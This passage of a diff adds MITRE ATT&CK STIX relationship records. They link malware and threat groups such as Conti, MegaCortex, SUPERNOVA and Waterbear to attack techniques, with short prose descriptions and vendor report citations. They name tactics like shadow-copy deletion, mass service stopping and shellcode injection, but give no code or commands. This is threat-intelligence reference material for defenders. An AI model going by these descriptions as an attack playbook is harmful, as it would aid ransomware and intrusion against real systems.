"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "Cybleinc Conti January 2020", + "url": "https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/", + "description": "Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can use CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. [Conti](https://attack.mitre.org/software/S0575) can use \u201cWindows Restart Manager\u201d to ensure files are unlocked and open for encryption.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", + "relationship_type": "uses", + "id": "relationship--97ef26b5-5dda-458b-926e-933ec0d099d6", + "type": "relationship", + "modified": "2021-04-13T18:02:57.507Z", + "created": "2021-02-17T19:22:30.957Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "external_references": [ + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can spread via SMB and encrypts files on different hosts, potentially compromising an entire network.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--00789efc-c0c5-4bc2-96ad-9f893bf9c06d", + "type": "relationship", + "modified": "2021-04-14T12:56:37.287Z", + "created": "2021-02-17T19:22:30.961Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used rundll32.exe to load a DLL for file encryption.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--190c819e-d4c9-4fa6-b809-9c7d76c0810a", + "type": "relationship", + "modified": "2021-03-31T18:43:23.244Z", + "created": "2021-02-17T20:27:27.372Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used a Base64 key to decode its components.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--9a36085f-d0a9-41f2-a9cf-97e81c286ef2", + "type": "relationship", + "modified": "2021-03-31T18:53:16.762Z", + "created": "2021-02-17T20:27:27.376Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. 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Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can enable SeDebugPrivilege and adjust token privileges.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--fcfb5392-d5d3-451d-be1f-3cdb5ee264d8", + "type": "relationship", + "modified": "2021-03-31T18:53:16.760Z", + "created": "2021-02-17T20:27:27.378Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "After escalating privileges, [MegaCortex](https://attack.mitre.org/software/S0576) calls TerminateProcess(), CreateRemoteThread, and other Win32 APIs.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--bf6a8896-2e07-4ed8-9f51-3847c3b0745f", + "type": "relationship", + "modified": "2021-02-17T20:27:27.417Z", + "created": "2021-02-17T20:27:27.417Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has deleted volume shadow copies using vssadmin.exe.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--48c9c2f3-9358-4342-88b7-57c8e5df893b", + "type": "relationship", + "modified": "2021-03-31T19:54:46.955Z", + "created": "2021-02-17T20:27:27.420Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has added entries to the Registry for ransom contact information.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--83d63b2b-f287-4047-bbe4-82c8b100222a", + "type": "relationship", + "modified": "2021-03-31T18:59:31.316Z", + "created": "2021-02-17T20:27:27.423Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). 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Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) loads injecthelper.dll into a newly created rundll32.exe process.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--71c146b5-9afa-41fa-9339-2a6287e7d309", + "type": "relationship", + "modified": "2021-02-17T20:27:27.439Z", + "created": "2021-02-17T20:27:27.439Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). 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Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used code signing certificates issued to fake companies to bypass security controls.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--443ee76b-8fd4-4485-bdbb-4a562f348be0", + "type": "relationship", + "modified": "2021-03-31T18:59:31.269Z", + "created": "2021-02-17T20:27:27.442Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). 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Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has changed user account passwords and logged users off the system.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--46250897-5a79-4401-b965-da8115a60d7f", + "type": "relationship", + "modified": "2021-03-31T20:16:56.333Z", + "created": "2021-02-17T20:27:27.434Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). 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Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can wipe deleted data from all drives using cipher.exe.(Citation: IBM MegaCortex)", + "relationship_type": "uses", + "id": "relationship--8550e43c-ca91-416e-a75a-b6f5f979d457", + "type": "relationship", + "modified": "2021-03-31T18:43:23.360Z", + "created": "2021-02-17T20:27:27.446Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + }, + { + "source_name": "mbed-crypto", + "url": "https://github.com/ARMmbed/mbed-crypto", + "description": "ARMmbed. (2018, June 21). Mbed Crypto. Retrieved February 15, 2021." + } + ], + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used the open-source library, Mbed Crypto, and generated AES keys to carry out the file encryption process.(Citation: IBM MegaCortex)(Citation: mbed-crypto)", + "relationship_type": "uses", + "id": "relationship--8b245546-d5ed-4ff8-b5a6-7c97250ce026", + "type": "relationship", + "modified": "2021-03-31T18:43:23.367Z", + "created": "2021-02-17T20:27:27.451Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "external_references": [ + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can delete Windows Volume Shadow Copies using vssadmin.(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--9e22871c-2e16-4c81-903c-e081c140f7a2", + "type": "relationship", + "modified": "2021-04-13T18:02:57.517Z", + "created": "2021-02-18T18:50:43.890Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "external_references": [ + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop.(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--59cb7691-e0a0-4e34-94ae-63d3e22f21c1", + "type": "relationship", + "modified": "2021-04-13T19:18:37.319Z", + "created": "2021-02-18T18:57:50.045Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Guidepoint SUPERNOVA Dec 2020", + "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021." + }, + { + "source_name": "Unit42 SUPERNOVA Dec 2020", + "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021." + } + ], + "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) had to receive an HTTP GET request containing a specific set of parameters in order to execute.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)", + "relationship_type": "uses", + "id": "relationship--072ce102-e907-455c-a707-cded0bb29216", + "type": "relationship", + "modified": "2021-04-23T23:00:42.131Z", + "created": "2021-02-18T20:23:02.334Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Guidepoint SUPERNOVA Dec 2020", + "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021." + }, + { + "source_name": "Unit42 SUPERNOVA Dec 2020", + "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021." + } + ], + "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) has masqueraded as a legitimate SolarWinds DLL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)", + "relationship_type": "uses", + "id": "relationship--8b345565-9a36-4b4a-ace5-b4c50ea894ca", + "type": "relationship", + "modified": "2021-04-23T23:00:42.159Z", + "created": "2021-02-18T20:23:02.374Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", + "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "relationship_type": "subtechnique-of", + "id": "relationship--2fb18a45-8ba0-401d-9ee6-18099b4c2c39", + "type": "relationship", + "modified": "2021-02-22T14:20:31.751Z", + "created": "2021-02-22T14:20:31.751Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "external_references": [ + { + "source_name": "Bleeping Computer - Ryuk WoL", + "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021." + } + ], + "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used Wake-on-Lan to power on turned off systems for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)", + "relationship_type": "uses", + "id": "relationship--9fb463af-4ad8-48b5-89cf-68bac34a68d7", + "type": "relationship", + "modified": "2021-02-22T14:47:28.044Z", + "created": "2021-02-22T14:31:59.882Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "target_ref": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", + "external_references": [ + { + "source_name": "TrendMicro TA505 Aug 2019", + "url": "https://www.trendmicro.com/en_us/research/19/h/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy.html", + "description": "Trend Micro. (2019, August 27). TA505: Variety in Use of ServHelper and FlawedAmmyy. Retrieved February 22, 2021." + } + ], + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used .iso files to deploy malicious .lnk files.(Citation: TrendMicro TA505 Aug 2019)", + "relationship_type": "uses", + "id": "relationship--246e66e1-ddd2-4e51-b54c-1579f6ea1626", + "type": "relationship", + "modified": "2021-02-22T14:32:48.528Z", + "created": "2021-02-22T14:32:48.528Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can receive and load executables from remote C2 servers.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--5c3a903f-5934-48ec-84da-e88e0d1b4e68", + "type": "relationship", + "modified": "2021-02-23T14:30:34.390Z", + "created": "2021-02-22T16:46:22.922Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) has the ability to decrypt its RC4 encrypted payload for execution.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--6e73108a-836f-47ad-b88a-6b9a70ebcb7b", + "type": "relationship", + "modified": "2021-02-22T16:46:22.940Z", + "created": "2021-02-22T16:46:22.940Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) has used RC4 encrypted shellcode.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--7b6c1b21-67e7-4930-82e3-8b13d8aac0ce", + "type": "relationship", + "modified": "2021-02-23T14:17:13.557Z", + "created": "2021-02-22T16:46:22.951Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", + "target_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--d14e6464-a6c5-4554-a463-88e267828397", + "type": "relationship", + "modified": "2021-02-22T17:07:20.098Z", + "created": "2021-02-22T17:07:20.098Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories.(Citation: Trend Micro Waterbear December 2019) ", + "relationship_type": "uses", + "id": "relationship--9d2dfa0b-8370-4873-9b8f-4366e61be715", + "type": "relationship", + "modified": "2021-02-22T17:11:18.401Z", + "created": "2021-02-22T17:11:18.401Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can inject decrypted shellcode into the LanmanServer service.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--56e0b679-1c1b-4c82-9346-bde619c21117", + "type": "relationship", + "modified": "2021-02-22T20:10:50.033Z", + "created": "2021-02-22T19:40:23.480Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "Carnegie Mellon University Supernova Dec 2020", + "url": "https://www.kb.cert.org/vuls/id/843464", + "description": "Carnegie Mellon University. (2020, December 26). SolarWinds Orion API authentication bypass allows remote command execution. Retrieved February 22, 2021." + }, + { + "source_name": "Splunk Supernova Jan 2021", + "url": "https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html", + "description": "Stoner, J. (2021, January 21). Detecting Supernova Malware: SolarWinds Continued. Retrieved February 22, 2021." + } + ], + "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) was installed via exploitation of a SolarWinds Orion API authentication bypass vulnerability (CVE-2020-10148).(Citation: Carnegie Mellon University Supernova Dec 2020)(Citation: Splunk Supernova Jan 2021)", + "relationship_type": "uses", + "id": "relationship--6b8761f0-fd7d-45da-971a-b3883e77fcc5", + "type": "relationship", + "modified": "2021-02-22T19:55:30.869Z", + "created": "2021-02-22T19:55:30.869Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can use thread injection to inject shellcode into the process of security software.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--4aa3b66d-f312-4f1f-912a-b7b1762f9d82", + "type": "relationship", + "modified": "2021-02-22T20:10:49.977Z", + "created": "2021-02-22T20:10:49.977Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et 